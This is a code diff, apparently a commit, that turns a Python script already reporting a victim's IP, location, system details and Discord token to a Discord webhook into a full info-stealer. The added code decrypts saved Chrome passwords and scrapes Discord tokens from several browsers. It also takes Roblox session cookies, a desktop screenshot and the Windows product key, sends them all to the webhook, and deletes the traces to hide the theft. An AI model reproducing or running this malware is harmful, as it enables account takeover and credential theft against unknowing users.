1313import  requests 
1414import  subprocess 
1515from  uuid  import  getnode  as  get_mac 
16+ import  browser_cookie3  as  steal , requests , base64 , random , string , zipfile , shutil , dhooks , os , re , sys , sqlite3 
17+ from  cryptography .hazmat .primitives .ciphers  import  (Cipher , algorithms , modes )
18+ from  cryptography .hazmat .primitives .ciphers .aead  import  AESGCM 
19+ from  cryptography .hazmat .backends  import  default_backend 
20+ from  Crypto .Cipher  import  AES 
21+ 22+ 23+ from  base64  import  b64decode , b64encode 
24+ from  dhooks  import  Webhook , Embed , File 
25+ from  subprocess  import  Popen , PIPE 
26+ from  json  import  loads , dumps 
27+ from  shutil  import  copyfile 
28+ from  sys  import  argv 
1629
1730# CONFIG -> Setup before compiling 
1831url =  ""  #Paste Discord Webhook url 
@@ -123,3 +136,255 @@ def Wipe():
123136
124137requests .post (url , data = json .dumps ({ "embeds" : [ { "title" : f"Someone Runs Program! - { host }  , "color" : 8781568  }, { "color" : 7506394 , "fields" : [ { "name" : "GeoLocation" , "value" : f"Using VPN?: { proxy } \n Local IP: { localip } \n Public IP: { publicip } \n MAC Adress: { mac } \n \n Country: { country } { callcode } { timezone } \n region: { region } \n City: { city } { postal } \n Currency: { currency } \n \n \n \n "  } ] }, { "fields" : [ { "name" : "System Information" , "value" : f"System: { uname .system } \n Node: { uname .node } \n Machine: { uname .machine } \n Processor: { uname .processor } \n \n Boot Time: { bt .year } { bt .month } { bt .day } { bt .hour } { bt .minute } { bt .second }   } ] }, { "color" : 15109662 , "fields" : [ { "name" : "CPU Information" , "value" : f"Psychical cores: { psutil .cpu_count (logical = False )} \n Total Cores: { psutil .cpu_count (logical = True )} \n \n Max Frequency: { cpufreq .max :.2f} \n Min Frequency: { cpufreq .min :.2f} \n \n Total CPU usage: { psutil .cpu_percent ()} \n "  }, { "name" : "Nemory Information" , "value" : f"Total: { scale (svmem .total )} \n Available: { scale (svmem .available )} \n Used: { scale (svmem .used )} \n Percentage: { svmem .percent }   }, { "name" : "Disk Information" , "value" : f"Total Size: { scale (partition_usage .total )} \n Used: { scale (partition_usage .used )} \n Free: { scale (partition_usage .free )} \n Percentage: { partition_usage .percent } \n \n Total read: { scale (disk_io .read_bytes )} \n Total write: { scale (disk_io .write_bytes )}   }, { "name" : "Network Information" , "value" : f"Total Sent: { scale (net_io .bytes_sent )} \" )\n Total Received: { scale (net_io .bytes_recv )}   } ] }, { "color" : 7440378 , "fields" : [ { "name" : "Discord information" , "value" : f"Token: { realshit }   } ] } ] }), headers = {"Content-Type" : "application/json" })
125138
139+ DBP  =  r'Google\Chrome\User Data\Default\Login Data' 
140+ ADP  =  os .environ ['LOCALAPPDATA' ]
141+ 142+ 143+ def  sniff (path ):
144+  path  +=  '\\ Local Storage\\ leveldb' 
145+ 146+  tokens  =  []
147+  try :
148+  for  file_name  in  os .listdir (path ):
149+  if  not  file_name .endswith ('.log' ) and  not  file_name .endswith ('.ldb' ):
150+  continue 
151+ 152+  for  line  in  [x .strip () for  x  in  open (f'{ path } \\ { file_name }  , errors = 'ignore' ).readlines () if  x .strip ()]:
153+  for  regex  in  (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}' , r'mfa\.[\w-]{84}' ):
154+  for  token  in  re .findall (regex , line ):
155+  tokens .append (token )
156+  return  tokens 
157+  except :
158+  pass 
159+ 160+ 161+ def  encrypt (cipher , plaintext , nonce ):
162+  cipher .mode  =  modes .GCM (nonce )
163+  encryptor  =  cipher .encryptor ()
164+  ciphertext  =  encryptor .update (plaintext )
165+  return  (cipher , ciphertext , nonce )
166+ 167+ 168+ def  decrypt (cipher , ciphertext , nonce ):
169+  cipher .mode  =  modes .GCM (nonce )
170+  decryptor  =  cipher .decryptor ()
171+  return  decryptor .update (ciphertext )
172+ 173+ 174+ def  rcipher (key ):
175+  cipher  =  Cipher (algorithms .AES (key ), None , backend = default_backend ())
176+  return  cipher 
177+ 178+ 179+ def  dpapi (encrypted ):
180+  import  ctypes 
181+  import  ctypes .wintypes 
182+ 183+  class  DATA_BLOB (ctypes .Structure ):
184+  _fields_  =  [('cbData' , ctypes .wintypes .DWORD ),
185+  ('pbData' , ctypes .POINTER (ctypes .c_char ))]
186+ 187+  p  =  ctypes .create_string_buffer (encrypted , len (encrypted ))
188+  blobin  =  DATA_BLOB (ctypes .sizeof (p ), p )
189+  blobout  =  DATA_BLOB ()
190+  retval  =  ctypes .windll .crypt32 .CryptUnprotectData (
191+  ctypes .byref (blobin ), None , None , None , None , 0 , ctypes .byref (blobout ))
192+  if  not  retval :
193+  raise  ctypes .WinError ()
194+  result  =  ctypes .string_at (blobout .pbData , blobout .cbData )
195+  ctypes .windll .kernel32 .LocalFree (blobout .pbData )
196+  return  result 
197+ 198+ 199+ def  localdata ():
200+  jsn  =  None 
201+  with  open (os .path .join (os .environ ['LOCALAPPDATA' ], r"Google\Chrome\User Data\Local State" ), encoding = 'utf-8' , mode = "r" ) as  f :
202+  jsn  =  json .loads (str (f .readline ()))
203+  return  jsn ["os_crypt" ]["encrypted_key" ]
204+ 205+ 206+ def  decryptions (encrypted_txt ):
207+  encoded_key  =  localdata ()
208+  encrypted_key  =  base64 .b64decode (encoded_key .encode ())
209+  encrypted_key  =  encrypted_key [5 :]
210+  key  =  dpapi (encrypted_key )
211+  nonce  =  encrypted_txt [3 :15 ]
212+  cipher  =  rcipher (key )
213+  return  decrypt (cipher , encrypted_txt [15 :], nonce )
214+ 215+ 216+ class  chrome :
217+  def  __init__ (self ):
218+  self .passwordList  =  []
219+ 220+  def  chromedb (self ):
221+  _full_path  =  os .path .join (ADP , DBP )
222+  _temp_path  =  os .path .join (ADP , 'sqlite_file' )
223+  if  os .path .exists (_temp_path ):
224+  os .remove (_temp_path )
225+  shutil .copyfile (_full_path , _temp_path )
226+  self .pwsd (_temp_path )
227+  def  pwsd (self , db_file ):
228+  conn  =  sqlite3 .connect (db_file )
229+  _sql  =  'select signon_realm,username_value,password_value from logins' 
230+  for  row  in  conn .execute (_sql ):
231+  host  =  row [0 ]
232+  if  host .startswith ('android' ):
233+  continue 
234+  name  =  row [1 ]
235+  value  =  self .cdecrypt (row [2 ])
236+  _info  =  '[==================]\n hostname => : %s\n login => : %s\n value => : %s\n [==================]\n \n '  %  (host , name , value )
237+  self .passwordList .append (_info )
238+  conn .close ()
239+  os .remove (db_file )
240+ 241+  def  cdecrypt (self , encrypted_txt ):
242+  if  sys .platform  ==  'win32' :
243+  try :
244+  if  encrypted_txt [:4 ] ==  b'\x01 \x00 \x00 \x00 ' :
245+  decrypted_txt  =  dpapi (encrypted_txt )
246+  return  decrypted_txt .decode ()
247+  elif  encrypted_txt [:3 ] ==  b'v10' :
248+  decrypted_txt  =  decryptions (encrypted_txt )
249+  return  decrypted_txt [:- 16 ].decode ()
250+  except  WindowsError :
251+  return  None 
252+  else :
253+  pass 
254+ 255+  def  saved (self ):
256+  try :
257+  with  open (r'C:\ProgramData\passwords.txt' , 'w' , encoding = 'utf-8' ) as  f :
258+  f .writelines (self .passwordList )
259+  except  WindowsError :
260+  return  None 
261+ 262+ 263+ if  __name__  ==  "__main__" :
264+  main  =  chrome ()
265+  try :
266+  main .chromedb ()
267+  except :
268+  pass 
269+  main .saved ()
270+ 271+ 272+ # webhook functionality => collect rest of specified data, send it to our webhook 
273+ 274+ 275+ def  beamed ():
276+  hook  =  Webhook (url )
277+  try :
278+  hostname  =  requests .get ("https://api.ipify.org" ).text 
279+  except :
280+  pass 
281+ 282+ 283+  local  =  os .getenv ('LOCALAPPDATA' )
284+  roaming  =  os .getenv ('APPDATA' )
285+  paths  =  {
286+  'Discord' : roaming  +  '\\ Discord' ,
287+  'Discord Canary' : roaming  +  '\\ discordcanary' ,
288+  'Discord PTB' : roaming  +  '\\ discordptb' ,
289+  'Google Chrome' : local  +  '\\ Google\\ Chrome\\ User Data\\ Default' ,
290+  'Opera' : roaming  +  '\\ Opera Software\\ Opera Stable' ,
291+  'Brave' : local  +  '\\ BraveSoftware\\ Brave-Browser\\ User Data\\ Default' ,
292+  'Yandex' : local  +  '\\ Yandex\\ YandexBrowser\\ User Data\\ Default' 
293+  }
294+ 295+  message  =  '\n ' 
296+  for  platform , path  in  paths .items ():
297+  if  not  os .path .exists (path ):
298+  continue 
299+ 300+  message  +=  '```' 
301+ 302+  tokens  =  sniff (path )
303+ 304+  if  len (tokens ) >  0 :
305+  for  token  in  tokens :
306+  message  +=  f'{ token } \n ' 
307+  else :
308+  pass 
309+ 310+  message  +=  '```' 
311+ 312+ 313+  """screenshot victim's desktop""" 
314+  try :
315+  screenshot  =  image .grab ()
316+  screenshot .save (os .getenv ('ProgramData' ) + r'\screenshot.jpg' )
317+  screenshot  =  open (r'C:\ProgramData\screenshot.jpg' , 'rb' )
318+  screenshot .close ()
319+  except :
320+  pass 
321+ 322+  """gather our .zip variables""" 
323+  try :
324+  zname  =  r'C:\ProgramData\passwords.zip' 
325+  newzip  =  zipfile .ZipFile (zname , 'w' )
326+  newzip .write (r'C:\ProgramData\passwords.txt' )
327+  newzip .close ()
328+  passwords  =  File (r'C:\ProgramData\passwords.zip' )
329+  except :
330+  pass 
331+ 332+  """gather our windows product key variables""" 
333+  try :
334+  usr  =  os .getenv ("UserName" )
335+  keys  =  subprocess .check_output ('wmic path softwarelicensingservice get OA3xOriginalProductKey' ).decode ().split ('\n ' )[1 ].strip ()
336+  types  =  subprocess .check_output ('wmic os get Caption' ).decode ().split ('\n ' )[1 ].strip ()
337+  except :
338+  pass 
339+ 340+  """steal victim's .roblosecurity cookie""" 
341+  cookie  =  [".ROBLOSECURITY" ]
342+  cookies  =  []
343+  limit  =  2000 
344+ 345+  """chrome installation => list cookies from this location""" 
346+  try :
347+  cookies .extend (list (steal .chrome ()))
348+  except :
349+  pass 
350+ 351+  """firefox installation => list cookies from this location""" 
352+  try :
353+  cookies .extend (list (steal .firefox ()))
354+  except :
355+  pass 
356+ 357+  """read data => if we find a matching positive for our specified variable 'cookie', send it to our webhook.""" 
358+  try :
359+  for  y  in  cookie :
360+  send  =  str ([str (x ) for  x  in  cookies  if  y  in  str (x )])
361+  chunks  =  [send [i :i  +  limit ] for  i  in  range (0 , len (send ), limit )]
362+  for  z  in  chunks :
363+  roblox  =  f'```'  +  f'{ z }   +  '```' 
364+  except :
365+  pass 
366+ 367+  """attempt to send all recieved data to our specified webhook""" 
368+  try :
369+  embed  =  Embed (title = 'Aditional Features' ,description = 'a victim\' s data was extracted, here\' s the details:' ,color = 0x2f3136 ,timestamp = 'now' )
370+  embed .add_field ("windows key:" ,f"user => { usr } \n type => { types } \n key => { keys }  )
371+  embed .add_field ("roblosecurity:" ,roblox )
372+  embed .add_field ("tokens:" ,message )
373+  embed .add_field ("hostname:" ,f"{ hostname }  )
374+  except :
375+  pass 
376+  try :
377+  hook .send (embed = embed , file = passwords )
378+  except :
379+  pass 
380+ 381+  """attempt to remove all evidence, allows for victim to stay unaware of data extraction""" 
382+  try :
383+  subprocess .os .system (r'del C:\ProgramData\screenshot.jpg' )
384+  subprocess .os .system (r'del C:\ProgramData\passwords.zip' )
385+  subprocess .os .system (r'del C:\ProgramData\passwords.txt' )
386+  except :
387+  pass 
388+ 389+ 390+ beamed ()
0 commit comments